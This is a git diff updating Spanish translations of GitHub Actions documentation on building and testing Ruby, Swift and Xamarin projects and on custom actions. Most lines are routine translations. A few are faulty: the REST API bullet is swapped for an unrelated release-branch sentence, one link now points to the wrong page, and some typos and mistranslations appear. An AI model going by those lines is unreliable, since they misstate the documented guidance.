+La siguiente matriz de ejemplo prueba todos los lanzamientos estables y versiones principales de MRI, JRuby y TruffleRuby en Ubuntu y macOS.
 
 ```yaml
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -236,9 +236,9 @@ jobs:
       - run: bundle exec rake
 ```
 
-## Linting your code
+## Limpiar tu código
 
-The following example installs `rubocop` and uses it to lint all files. For more information, see [Rubocop](https://github.com/rubocop-hq/rubocop). You can [configure Rubocop](https://docs.rubocop.org/rubocop/configuration.html) to decide on the specific linting rules.
+El siguiente ejemplo instala `rubocop` y lo utiliza para limpiar todos los archivos. Para obtener más información, consulta la sección [Rubocop](https://github.com/rubocop-hq/rubocop). Puedes [configurar Rubocop](https://docs.rubocop.org/rubocop/configuration.html) para decidir cuáles serán las reglas de limpieza específicas.
 
 ```yaml
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -260,11 +260,11 @@ jobs:
         run: rubocop
 ```
 
-## Publishing Gems
+## Publicar gemas
 
-You can configure your workflow to publish your Ruby package to any package registry you'd like when your CI tests pass.
+Puedes configurar tu flujo de trabajo para publicar tu paquete de Ruby en cualquier registro de paquetes que quieras cuando pasen tus pruebas de IC.
 
-You can store any access tokens or credentials needed to publish your package using repository secrets. The following example creates and publishes a package to `GitHub Package Registry` and `RubyGems`.
+Puedes almacenar todos los tokens de acceso o credenciales necesarios para publicar tu paquete utilizando secretos del repositorio. Elsiguiente ejemplo crea y publica un paquete en el `Registro de Paquetes de Github` y en `RubyGems`.
 
 ```yaml
 {% data reusables.actions.actions-not-certified-by-github-comment %}
diff --git a/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-swift.md b/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-swift.md
index 8bbcaef747..c5c3a028f7 100644
--- a/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-swift.md
+++ b/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-swift.md
@@ -1,6 +1,6 @@
 ---
-title: Building and testing Swift
-intro: You can create a continuous integration (CI) workflow to build and test your Swift project.
+title: Compilar y probar Swift
+intro: Puedes crear un flujo de trabajo de integración continua (CI) para crear y probar tu proyecto de Swift.
 redirect_from:
   - /actions/guides/building-and-testing-swift
 versions:
@@ -12,30 +12,30 @@ type: tutorial
 topics:
   - CI
   - Swift
-shortTitle: Build & test Swift
+shortTitle: Compilar & probar en Swift
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introducción
 
-This guide shows you how to build and test a Swift package.
+Esta guía te muestra cómo crear y probar un paquete de Swift.
 
-{% ifversion ghae %} To build and test your Swift project on {% data variables.product.prodname_ghe_managed %}, the necessary Swift dependencies are required. {% data reusables.actions.self-hosted-runners-software %}
-{% else %}{% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with preinstalled software, and the Ubuntu and macOS runners include the dependencies for building Swift packages. For a full list of up-to-date software and the preinstalled versions of Swift and Xcode, see "[About GitHub-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-software)."{% endif %}
+{% ifversion ghae %} Para compilar y probar tu proyecto de Swift en {% data variables.product.prodname_ghe_managed %}, se requieren las dependencias necesarias de Swift. {% data reusables.actions.self-hosted-runners-software %}
+{% else %}Los ejecutores hospedados en {% data variables.product.prodname_dotcom %} tienen un caché de herramientas con software preinstalado y los ejecutores de Ubuntu y macOS incluyen las dependencias para crear paquetes de Swift. Para encontrar una lista completa de software actualizado y las versiones preinstaladas de Swift y Xcode, consulta la sección "[Acerca de los ejecutores hospedados en GitHub](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-software)".{% endif %}
 
-## Prerequisites
+## Prerrequisitos
 
-You should already be familiar with YAML syntax and how it's used with {% data variables.product.prodname_actions %}. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)."
+Ya debes estar familiarizado con la sintaxis de YAML y con cómo se utiliza con {% data variables.product.prodname_actions %}. Para obtener más información, consulta "[Sintaxis de flujo de trabajo para {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)".
 
-We recommend that you have a basic understanding of Swift packages. For more information, see "[Swift Packages](https://developer.apple.com/documentation/swift_packages)" in the Apple developer documentation.
+Te recomendamos que tengas un entendimiento básico de los paquetes de Swift. Para obtener más información, consulta la sección "[Paquetes de Swift](https://developer.apple.com/documentation/swift_packages)" en la documentación de desarrollador de Apple.
 
-## Starting with the Swift workflow template
+## Using the Swift starter workflow
 
-{% data variables.product.prodname_dotcom %} provides a Swift workflow template that should work for most Swift projects, and this guide includes examples that show you how to customize this template. For more information, see the [Swift workflow template](https://github.com/actions/starter-workflows/blob/main/ci/swift.yml).
+{% data variables.product.prodname_dotcom %} provides a Swift starter workflow that should work for most Swift projects, and this guide includes examples that show you how to customize this starter workflow. For more information, see the [Swift starter workflow](https://github.com/actions/starter-workflows/blob/main/ci/swift.yml).
 
-To get started quickly, add the template to the `.github/workflows` directory of your repository.
+To get started quickly, add the starter workflow to the `.github/workflows` directory of your repository.
 
 {% raw %}
 ```yaml{:copy}
@@ -57,17 +57,17 @@ jobs:
 ```
 {% endraw %}
 
-## Specifying a Swift version
+## Especificar una versión de Swift
 
-To use a specific preinstalled version of Swift on a {% data variables.product.prodname_dotcom %}-hosted runner, use the `fwal/setup-swift` action. This action finds a specific version of Swift from the tools cache on the runner and adds the necessary binaries to `PATH`. These changes will persist for the remainder of a job. For more information, see the [`fwal/setup-swift`](https://github.com/marketplace/actions/setup-swift) action.
+Para utilizar una versión preinstalada de Swift en un ejecutor hospedado en {% data variables.product.prodname_dotcom %}, utiliza la acción `fwal/setup-swift`. Esta acción encuentra una versión específica de Swift desde el caché de herramientas en el ejecutor y agrega los binarios necesarios al `PATH`. Estos cambios persistirán durante el resto de un job. Para obtener más información, consulta la acción [`fwal/setup-swift`](https://github.com/marketplace/actions/setup-swift).
 
-If you are using a self-hosted runner, you must install your desired Swift versions and add them to `PATH`.
+Si estás utilizando un ejecutor auto-hospedado, debes instalar tus versiones de Swift deseadas y agregarlas al `PATH`.
 
-The examples below demonstrate using the `fwal/setup-swift` action.
+Los siguientes ejemplos demuestran el uso de la acción `fwal/setup-swift`.
 
-### Using multiple Swift versions
+### Utilizar versiones múltiples de Swift
 
-You can configure your job to use a multiple versions of Swift in a build matrix.
+Puedes configurar tu job para que utilice versiones múltiples de Swift en una matriz de compilación.
 
 ```yaml{:copy}
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -95,9 +95,9 @@ jobs:
         run: swift test
 ```
 
-### Using a single specific Swift version
+### Utilizar solo una versión específica de Swift
 
-You can configure your job to use a single specific version of Swift, such as `5.3.3`.
+Puedes configurar tu job para que utilice una sola versión específica de Swift, tal como la `5.3.3`.
 
 {% raw %}
 ```yaml{:copy}
@@ -110,9 +110,9 @@ steps:
 ```
 {% endraw %}
 
-## Building and testing your code
+## Construir y probar tu código
 
-You can use the same commands that you use locally to build and test your code using Swift. This example demonstrates how to use `swift build` and `swift test` in a job:
+Puedes utilizar los mismos comandos que usas localmente para compilar y probar tu código utilizando Swift. Este ejemplo demuestra cómo utilizar `swift build` y `swift test` en un job:
 
 {% raw %}
 ```yaml{:copy}
diff --git a/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-xamarin-applications.md b/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-xamarin-applications.md
index 312c10753e..5749a33e9d 100644
--- a/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-xamarin-applications.md
+++ b/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-xamarin-applications.md
@@ -1,6 +1,6 @@
 ---
-title: Building and testing Xamarin applications
-intro: You can create a continuous integration (CI) workflow in GitHub Actions to build and test your Xamarin application.
+title: Crear y probar aplicaciones de Xamarin
+intro: Puedes crear un flujo de trabajo de integración contínua (IC) en GitHub Actions para crear y probar tu aplicación de Xamarin.
 redirect_from:
   - /actions/guides/building-and-testing-xamarin-applications
 versions:
@@ -16,34 +16,34 @@ topics:
   - Xamarin.Android
   - Android
   - iOS
-shortTitle: Build & test Xamarin apps
+shortTitle: Compila & prueba las apps de Xamarin
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introducción
 
-This guide shows you how to create a workflow that performs continuous integration (CI) for your Xamarin project. The workflow you create will allow you to see when commits to a pull request cause build or test failures against your default branch; this approach can help ensure that your code is always healthy.
+Esta guía te muestra cómo crear un flujo de trabajo que realice integración contínua (IC) para tu proyecto de Xamarin. El flujo de trabajo que creas te permitirá ver cuándo las confirmaciones de una solicitud de extracción causan la construcción o las fallas de prueba en tu rama por defecto; este enfoque puede ayudar a garantizar que tu código siempre sea correcto.
 
-For a full list of available Xamarin SDK versions on the {% data variables.product.prodname_actions %}-hosted macOS runners, see the documentation:
+Para encontrar una lista completa de versiones disponibles de Xamarin SDK en los ejecutores de macOS hospedados en {% data variables.product.prodname_actions %}, consulta la documentación:
 
 * [macOS 10.15](https://github.com/actions/virtual-environments/blob/main/images/macos/macos-10.15-Readme.md#xamarin-bundles)
 * [macOS 11](https://github.com/actions/virtual-environments/blob/main/images/macos/macos-11-Readme.md#xamarin-bundles)
 
 {% data reusables.github-actions.macos-runner-preview %}
 
-## Prerequisites
+## Prerrequisitos
 
-We recommend that you have a basic understanding of Xamarin, .NET Core SDK, YAML, workflow configuration options, and how to create a workflow file. For more information, see:
+Te recomendamos tener un entendimiento básico de Xamarin, .NET Core SDK, Yaml, opciones de configuración de flujo de trabajo y cómo crear un archivo de flujo de trabajo. Para obtener más información, consulta:
 
-- "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)"
-- "[Getting started with .NET](https://dotnet.microsoft.com/learn)"
-- "[Learn Xamarin](https://dotnet.microsoft.com/learn/xamarin)"
+- "[Sintaxis de flujo de trabajo para las {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)"
+- "[Comenzar con .NET](https://dotnet.microsoft.com/learn)"
+- "[Aprende Xamarin](https://dotnet.microsoft.com/learn/xamarin)"
 
-## Building Xamarin.iOS apps
+## Crear apps de Xamarin.iOS
 
-The example below demonstrates how to change the default Xamarin SDK versions and build a Xamarin.iOS application.
+El ejemplo siguiente demuestra cómo cambiar las versiones predeterminadas de Xamarin SDK y cómo compilar una aplicación de Xamarin.iOS.
 
 {% raw %}
 ```yaml
@@ -61,7 +61,7 @@ jobs:
     - name: Set default Xamarin SDK versions
       run: |
         $VM_ASSETS/select-xamarin-sdk-v2.sh --mono=6.12 --ios=14.10
-    
+
     - name: Set default Xcode 12.3
       run: |
         XCODE_ROOT=/Applications/Xcode_12.3.0.app
@@ -81,9 +81,9 @@ jobs:
 ```
 {% endraw %}
 
-## Building Xamarin.Android apps
+## Crear apps de Xamarin.Android
 
-The example below demonstrates how to change default Xamarin SDK versions and build a Xamarin.Android application.
+El ejemplo siguiente demuestra cómo cambiar las versiones predeterminadas de Xamarin SDK y cómo compilar una aplicación de Xamarin.Android.
 
 {% raw %}
 ```yaml
@@ -115,8 +115,8 @@ jobs:
 ```
 {% endraw %}
 
-## Specifying a .NET version
+## Especificar una versión de .NET
 
-To use a preinstalled version of the .NET Core SDK on a {% data variables.product.prodname_dotcom %}-hosted runner, use the `setup-dotnet` action. This action finds a specific version of .NET from the tools cache on each runner, and adds the necessary binaries to `PATH`. These changes will persist for the remainder of the job.
- 
-The `setup-dotnet` action is the recommended way of using .NET with {% data variables.product.prodname_actions %}, because it ensures consistent behavior across different runners and different versions of .NET. If you are using a self-hosted runner, you must install .NET and add it to `PATH`. For more information, see the [`setup-dotnet`](https://github.com/marketplace/actions/setup-net-core-sdk) action.
+Para utilizar una versión preinstalada de .NET Core SDK en un ejecutor hospedado en {% data variables.product.prodname_dotcom %}, utiliza la acción `setup-dotnet`. Esta acción encuentra una versión específica de .NET desde el caché de las herramientas en cada ejecutor y agrega los binarios necesarios a `PATH`. Estos cambios persistirán para el recordatorio del job.
+
+La acción `setup-dotnet` es la forma recomendada de utilizar .NET con las {% data variables.product.prodname_actions %}, porque garantiza el comportamiento consistente a través de diversos ejecutores y diversas versiones de .NET. Si estás utilizando un ejecutor auto-hospedado, debes instalar .NET y agregarlo a `PATH`. Para obtener más información, consulta la acción [`setup-dotnet`](https://github.com/marketplace/actions/setup-net-core-sdk).
diff --git a/translations/es-ES/content/actions/automating-builds-and-tests/index.md b/translations/es-ES/content/actions/automating-builds-and-tests/index.md
index 7a40d05f77..99a1939d62 100644
--- a/translations/es-ES/content/actions/automating-builds-and-tests/index.md
+++ b/translations/es-ES/content/actions/automating-builds-and-tests/index.md
@@ -1,7 +1,7 @@
 ---
-title: Automating builds and tests
-shortTitle: Build and test
-intro: 'You can automatically build and test your projects with {% data variables.product.prodname_actions %}.'
+title: Compilaciones automáticas y pruebas
+shortTitle: Compila y prueba
+intro: 'Puedes compilar y hacer pruebas automáticamente en tus proyectos con {% data variables.product.prodname_actions %}.'
 versions:
   fpt: '*'
   ghes: '*'
diff --git a/translations/es-ES/content/actions/creating-actions/about-custom-actions.md b/translations/es-ES/content/actions/creating-actions/about-custom-actions.md
index 00fecf9091..ebc4459588 100644
--- a/translations/es-ES/content/actions/creating-actions/about-custom-actions.md
+++ b/translations/es-ES/content/actions/creating-actions/about-custom-actions.md
@@ -1,6 +1,6 @@
 ---
-title: About custom actions
-intro: 'Actions are individual tasks that you can combine to create jobs and customize your workflow. You can create your own actions, or use and customize actions shared by the {% data variables.product.prodname_dotcom %} community.'
+title: Acercad e las acciones personalizadas
+intro: 'Las acciones son tareas individuales que puedes combinar para crear trabajos y personalizar tu flujo de trabajo. Puedes crear tus propias acciones, o utilizar y personalizar a quellas que comparte la comunidad de {% data variables.product.prodname_dotcom %}.'
 redirect_from:
   - /articles/about-actions
   - /github/automating-your-workflow-with-github-actions/about-actions
@@ -21,151 +21,151 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About custom actions
+## Acercad e las acciones personalizadas
 
-You can create actions by writing custom code that interacts with your repository in any way you'd like, including integrating with {% data variables.product.prodname_dotcom %}'s APIs and any publicly available third-party API. For example, an action can publish npm modules, send SMS alerts when urgent issues are created, or deploy production-ready code.
+Puedes crear acciones por medio de a escritura de un código personalizado que interactúe con tu repositorio de la manera que desees, incluida la integración con las API de {% data variables.product.prodname_dotcom %} y cualquier API de terceros disponible públicamente. Por ejemplo, una acción puede publicar módulos npm, enviar alertas por SMS cuando se crean propuestas urgentes o implementar un código listo para producción.
 
 {% ifversion fpt or ghec %}
-You can write your own actions to use in your workflow or share the actions you build with the {% data variables.product.prodname_dotcom %} community. To share actions you've built, your repository must be public.
+Puedes escribir tus propias acciones para usar en tu flujo de trabajo o compartir las acciones que crees con la comunidad {% data variables.product.prodname_dotcom %}. Para compartir las acciones que creaste, tu repositorio debe ser público.
 {% endif %}
 
-Actions can run directly on a machine or in a Docker container. You can define an action's inputs, outputs, and environment variables.
+Las acciones pueden ejecutarse directamente en una máquina o en un contenedor Docker. Puedes definir las entradas, salidas y variables de entorno de una acción.
 
-## Types of actions
+## Tipos de acciones
 
-You can build Docker container and JavaScript actions. Actions require a metadata file to define the inputs, outputs and main entrypoint for your action. The metadata filename must be either `action.yml` or `action.yaml`. For more information, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/articles/metadata-syntax-for-github-actions)."
+Puedes crear acciones de contenedor Docker y JavaScript. Las acciones requieren un archivo de metadatos para definir las entradas, salidas y puntos de entrada para tu acción. El nombre del archivo de metadatos debe ser `action.yml` o `action.yaml`. Para obtener más información, consulta "[Sintaxis de metadatos para {% data variables.product.prodname_actions %}](/articles/metadata-syntax-for-github-actions)"
 
-| Type | Operating system |
-| ---- | ------------------- |
-| Docker container | Linux |
-| JavaScript | Linux, macOS, Windows |
-| Composite Actions | Linux, macOS, Windows |
+| Tipo                | Sistema operativo     |
+| ------------------- | --------------------- |
+| Contenedor Docker   | Linux                 |
+| JavaScript          | Linux, macOS, Windows |
+| Acciones compuestas | Linux, macOS, Windows |
 
-### Docker container actions
+### Acciones del contenedor Docker
 
-Docker containers package the environment with the {% data variables.product.prodname_actions %} code. This creates a more consistent and reliable unit of work because the consumer of the action does not need to worry about the tools or dependencies.
+Los contenedores Docker empaquetan el entorno con el código de las {% data variables.product.prodname_actions %}. Esto crea una unidad de trabajo más consistente y confiable, ya que el consumidor de la acción no necesita preocuparse por las herramientas o las dependencias.
 
-A Docker container allows you to use specific versions of an operating system, dependencies, tools, and code. For actions that must run in a specific environment configuration, Docker is an ideal option because you can customize the operating system and tools. Because of the latency to build and retrieve the container, Docker container actions are slower than JavaScript actions.
+Un contenedor Docker te permite usar versiones específicas de un sistema operativo, dependencias, herramientas y código. Para las acciones que se deben ejecutar en una configuración de entorno específica, Docker es una opción ideal porque puedes personalizar el sistema operativo y las herramientas. Debido a la latencia para crear y recuperar el contenedor, las acciones del contenedor Docker son más lentas que las acciones de JavaScript.
 
-Docker container actions can only execute on runners with a Linux operating system. {% data reusables.github-actions.self-hosted-runner-reqs-docker %}
+Las acciones de contenedor de Docker solo pueden ejecutarse en ejecutores con un sistema operativo Linux. {% data reusables.github-actions.self-hosted-runner-reqs-docker %}
 
-### JavaScript actions
+### Acciones de JavaScript
 
-JavaScript actions can run directly on a runner machine, and separate the action code from the environment used to run the code. Using a JavaScript action simplifies the action code and executes faster than a Docker container action.
+Las acciones de JavaScript pueden ejecutarse directamente en una máquina del ejecutor y separar el código de acción del entorno utilizado para ejecutar el código. El uso de una acción de JavaScript simplifica el código de acción y se ejecuta más rápido que una acción de contenedor Docker.
 
 {% data reusables.github-actions.pure-javascript %}
 
-If you're developing a Node.js project, the {% data variables.product.prodname_actions %} Toolkit provides packages that you can use in your project to speed up development. For more information, see the [actions/toolkit](https://github.com/actions/toolkit) repository.
+Si estás desarrollando un proyecto Node.js, el conjunto de herramientas de las {% data variables.product.prodname_actions %} te ofrece paquetes que puedes usar en tu proyecto para acelerar el desarrollo. Para obtener más información, consulta el repositorio [actions/toolkit](https://github.com/actions/toolkit).
 
-### Composite Actions
+### Acciones compuestas
 
-A _composite_ action allows you to combine multiple workflow steps within one action. For example, you can use this feature to bundle together multiple run commands into an action, and then have a workflow that executes the bundled commands as a single step using that action. To see an example, check out "[Creating a composite action](/actions/creating-actions/creating-a-composite-action)".
+Una acción _compuesta_ te permite combinar pasos de flujo de trabajo múltiples dentro de una acción. Por ejemplo, puedes utilizar esta característica para agrupar comandos de ejecución múltiples en una acción y luego tener un flujo de trabajo que ejecute estos comandos agrupados como un paso simple utilizando dicha acción. Para ver un ejemplo, revisa la sección "[Crear una acción compuesta](/actions/creating-actions/creating-a-composite-action)".
 
-## Choosing a location for your action
+## Elegir una ubicación para tu acción
 
-If you're developing an action for other people to use, we recommend keeping the action in its own repository instead of bundling it with other application code. This allows you to version, track, and release the action just like any other software.
+Si estás desarrollando una acción para que otras personas la utilicen, te recomendamos mantener la acción en su propio repositorio en lugar de agruparla con otro código de aplicación. Esto te permite versionar, rastrear y lanzar la acción como cualquier otro software.
 
 {% ifversion fpt or ghec %}
-Storing an action in its own repository makes it easier for the {% data variables.product.prodname_dotcom %} community to discover the action, narrows the scope of the code base for developers fixing issues and extending the action, and decouples the action's versioning from the versioning of other application code.
+Con el almacenamiento de una acción en su propio repositorio es más fácil para la comunidad {% data variables.product.prodname_dotcom %} descubrir la acción, reduce el alcance de la base de código para que los desarrolladores solucionen problemas y extiendan la acción, y desacopla el control de versiones de otro código de aplicación.
 {% endif %}
 
-{% ifversion fpt or ghec %}If you're building an action that you don't plan to make available to the public, you {% else %} You{% endif %} can store the action's files in any location in your repository. If you plan to combine action, workflow, and application code in a single repository, we recommend storing actions in the `.github` directory. For example, `.github/actions/action-a` and `.github/actions/action-b`.
+{% ifversion fpt or ghec %}Si estás creando una acción que no piensas poner disponible públicamente, puedes {% else %} puedes {% endif %} almacenar los archivos de dicha acción en cualquier ubicación de tu repositorio. Si tienes la intención de combinar la acción, el flujo de trabajo y el código de aplicación en un único repositorio, es recomendable que almacenes las acciones en el directorio `.github`. Por ejemplo, `.github/actions/action-a` y `.github/actions/action-b`.
 
-## Compatibility with {% data variables.product.prodname_ghe_server %}
+## Compatibilidad con {% data variables.product.prodname_ghe_server %}
 
-To ensure that your action is compatible with {% data variables.product.prodname_ghe_server %}, you should make sure that you do not use any hard-coded references to {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API URLs. You should instead use environment variables to refer to the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API:
+Para garantizar de que tu acción es compatible con {% data variables.product.prodname_ghe_server %}, debes asegurarte de que no utilices ninguna referencia escrita a mano para las URL de la API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}. En vez de esto, deberías utilizar variables de ambiente para referirte a la API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}:
 
-- For the REST API, use the `GITHUB_API_URL` environment variable.
-- For GraphQL, use the `GITHUB_GRAPHQL_URL` environment variable.
+- Crear y validar un lanzamiento en una rama de lanzamiento (tal como `release/v1`) antes de crear la etiqueta de lanzamiento (por ejemplo, `v1.0.2`).
+- Para el caso de GraphQL, utiliza la variable de ambiente `GITHUB_GRAPHQL_URL`.
 
-For more information, see "[Default environment variables](/actions/configuring-and-managing-workflows/using-environment-variables#default-environment-variables)."
+Para obtener más información, consulta la sección "[Variables de ambiente predeterminadas](/actions/configuring-and-managing-workflows/using-environment-variables#default-environment-variables)."
 
-## Using release management for actions
+## Utilizar la administración de lanzamientos para las acciones
 
-This section explains how you can use release management to distribute updates to your actions in a predictable way.
+Esta sección explica cómo puedes utilizar la administración de lanzamientos para distribuir actualizaciones a tus acciones de forma predecible.
 
-### Good practices for release management
+### Buenas prácticas para la administración de lanzamientos
 
-If you're developing an action for other people to use, we recommend using release management to control how you distribute updates. Users can expect an action's major version to include necessary critical fixes and security patches, while still remaining compatible with their existing workflows. You should consider releasing a new major version whenever your changes affect compatibility.
+Si estás desarrollando una acción para que la utilicen otras personas, te recomendamos utilizar la administración de lanzamientos para controlar cómo distribuyes las actualizaciones. Los usuarios pueden esperar que una versión mayor de una acción incluya correcciones críticas y parches de seguridad necesarios y que se mantenga compatible con los flujos de trabajo existentes. Deberías considerar lanzar una versión mayor cada que tus cambios afecten la compatibilidad.
 
-Under this release management approach, users should not be referencing an action's default branch, as it's likely to contain the latest code and consequently might be unstable. Instead, you can recommend that your users specify a major version when using your action, and only direct them to a more specific version if they encounter issues.
+Bajo este acercamiento de administración de lanzamientos, los usuarios no deberían referenciar una rama predeterminada de una acción, ya que es probable que contenga el código más reciente y, en consecuencia, podría ser inestable. En vez de esto, puedes recomendar a tus usuarios que especifiquen una versión mayor cuando utilicen tu acción, y únicamente dirigirlos a una versión más específica si encuentran algún problema.
 
-To use a specific action version, users can configure their {% data variables.product.prodname_actions %} workflow to target a tag, a commit's SHA, or a branch named for a release.
+Para utilizar una versión específica de la acción, los usuarios pueden configurar su flujo de trabajo de {% data variables.product.prodname_actions %} para apuntar a una etiqueta, el SHA de una confirmación o a una rama denominada para un lanzamiento.
 
-### Using tags for release management
+### Utilizar etiquetas para la administración de lanzamientos
 
-We recommend using tags for actions release management. Using this approach, your users can easily distinguish between major and minor versions:
+Te recomendamos utilizar etiquetas para la administración de lanzamientos de acciones. Al utilizar este acercamiento, tus usuarios pueden distinguir claramente entre las versiones mayores y menores:
 
-- Create and validate a release on a release branch (such as `release/v1`) before creating the release tag (for example, `v1.0.2`).
-- Create a release using semantic versioning. For more information, see "[Creating releases](/articles/creating-releases)."
-- Move the major version tag (such as `v1`, `v2`) to point to the Git ref of the current release. For more information, see "[Git basics - tagging](https://git-scm.com/book/en/v2/Git-Basics-Tagging)."
-- Introduce a new major version tag (`v2`) for changes that will break existing workflows. For example, changing an action's inputs would be a breaking change.
-- Major versions can be initially released with a `beta` tag to indicate their status, for example, `v2-beta`. The `-beta` tag can then be removed when ready.
+- Crear y validar un lanzamiento en una rama de lanzamiento (tal como `release/v1`) antes de crear la etiqueta de lanzamiento (por ejemplo, `v1.0.2`).
+- Crear un lanzamiento utilizando un versionamiento semántico. Para obtener más información, consulta "[Creating releases](/articles/creating-a-label/) (Crear lanzamientos)".
+- Mover la etiqueta de versión mayor (tal como `v1`, `v2`) para apuntar a la referencia de Git en el lanzamiento actual. Para obtener más información, consulta [Conceptos básicos de Git: etiquetas](https://git-scm.com/book/en/v2/Git-Basics-Tagging)".
+- Introducir una etiqueta de versión mayor (`v2`) para los cambios que modificarán sustancialmente los flujos de trabajo existentes. Por ejemplo, un cambio importante será cambiar las entradas de una acción.
+- Las versiones mayores pueden lanzarse inicialmente con una etiqueta de `beta` para indicar su estado, por ejemplo, `v2-beta`. La etiqueta `-beta` puede eliminarse entonces cuando esté listo.
 
-This example demonstrates how a user can reference a major release tag:
+Este ejemplo ilustra como un usuario puede referenciar una etiqueta de un lanzamiento mayor:
 
 ```yaml
 steps:
     - uses: actions/javascript-action@v1
 ```
 
-This example demonstrates how a user can reference a specific patch release tag:
+Este ejemplo ilustra como un usuario puede referenciar una etiqueta de lanzamiento de un parche específico:
 
 ```yaml
 steps:
     - uses: actions/javascript-action@v1.0.1
 ```
 
-### Using branches for release management
+### Utilizar ramas para la administración de lanzamientos
 
-If you prefer to use branch names for release management, this example demonstrates how to reference a named branch:
+Si prefieres utilizar nombres de rama para la administración de lanzamientos, este ejemplo demuestra como referenciar una rama nombrada:
 
 ```yaml
 steps:
     - uses: actions/javascript-action@v1-beta
 ```
 
-### Using a commit's SHA for release management
+### Utilizar el SHA de las confirmaciones para la administración de lanzamientos
 
-Each Git commit receives a calculated SHA value, which is unique and immutable. Your action's users might prefer to rely on a commit's SHA value, as this approach can be more reliable than specifying a tag, which could be deleted or moved. However, this means that users will not receive further updates made to the action. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}You must use a commit's full SHA value, and not an abbreviated value.{% else %}Using a commit's full SHA value instead of the abbreviated value can help prevent people from using a malicious commit that uses the same abbreviation.{% endif %}
+Cada confirmación de Git recibe un valor calculado de SHA, el cual es único e inmutable. Los usuarios de tus acciones podrían preferir obtener un valor de SHA para la confirmación, ya que este acercamiento puede ser más confiable que especificar una etiqueta, la cual podría borrarse o moverse. Sin embargo, esto significa que los usuarios no recibirán ls actualizaciones posteriores que se hagan a la acción. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}Debes utilizar el valor completo del SHA de la confirmación y no el abreviado.{% else %}El utilizar el valor completo del SHA de la confirmación en vez del abreviado ayuda a prevenir que las personas utilicen una confirmación mal intencionada que utiice la misma abreviación.{% endif %}
 
 ```yaml
 steps:
     - uses: actions/javascript-action@172239021f7ba04fe7327647b213799853a9eb89
 ```
 
-## Creating a README file for your action
+## Crear un archivo README para tu acción
 
-We recommend creating a README file to help people learn how to use your action. You can include this information in your `README.md`:
+Si tienes la intención de compartir públicamente tu acción, te recomendamos crear un archivo README para ayudar a las personas a que aprendan a usar tu acción. Puedes incluir esta información en tu `README.md`:
 
-- A detailed description of what the action does
-- Required input and output arguments
-- Optional input and output arguments
-- Secrets the action uses
-- Environment variables the action uses
-- An example of how to use your action in a workflow
+- Una descripción detallada de lo que hace la acción.
+- Argumentos necesarios de entrada y salida.
+- Argumentos opcionales de entrada y salida.
+- Secretos que utiliza la acción.
+- Variables de entorno que utiliza la acción.
+- Un ejemplo de cómo usar tu acción en un flujo de trabajo.
 
-## Comparing {% data variables.product.prodname_actions %} to {% data variables.product.prodname_github_apps %}
+## Comparar {% data variables.product.prodname_actions %} para {% data variables.product.prodname_github_apps %}
 
-{% data variables.product.prodname_marketplace %} offers tools to improve your workflow. Understanding the differences and the benefits of each tool will allow you to select the best tool for your job. For more information about building apps, see "[About apps](/apps/about-apps/)."
+{% data variables.product.prodname_marketplace %} ofrece herramientas para mejorar tu flujo de trabajo. Comprender las diferencias y los beneficios de cada herramienta te permitirá seleccionar la mejor herramienta para tu trabajo. Para obtener más información acerca de la creación de apps, consulta "[Acerca de las apps](/apps/about-apps/)".
 
-### Strengths of GitHub Actions and GitHub Apps
+### Fortalezas de las acciones y las aplicaciones de GitHub
 
-While both {% data variables.product.prodname_actions %} and {% data variables.product.prodname_github_apps %} provide ways to build automation and workflow tools, they each have strengths that make them useful in different ways.
+Si bien tanto las {% data variables.product.prodname_actions %} como las {% data variables.product.prodname_github_apps %} proporcionan formas de crear herramientas de flujo de trabajo y automatización, pueden tener fortalezas que las hagan útiles en formas diferentes.
 
 {% data variables.product.prodname_github_apps %}:
-* Run persistently and can react to events quickly.
-* Work great when persistent data is needed.
-* Work best with API requests that aren't time consuming.
-* Run on a server or compute infrastructure that you provide.
+* Se ejecutan de manera persistente y pueden reaccionar rápidamente a los eventos.
+* Funcionan bien cuando se necesitan datos de manera persistente.
+* Funcionan mejor con las solicitudes de API que no consumen mucho tiempo.
+* Se ejecutan en un servidor o infraestructura de computación que proporciones.
 
 {% data variables.product.prodname_actions %}:
-* Provide automation that can perform continuous integration and continuous deployment.
-* Can run directly on runner machines or in Docker containers.
-* Can include access to a clone of your repository, enabling deployment and publishing tools, code formatters, and command line tools to access your code.
-* Don't require you to deploy code or serve an app.
-* Have a simple interface to create and use secrets, which enables actions to interact with third-party services without needing to store the credentials of the person using the action.
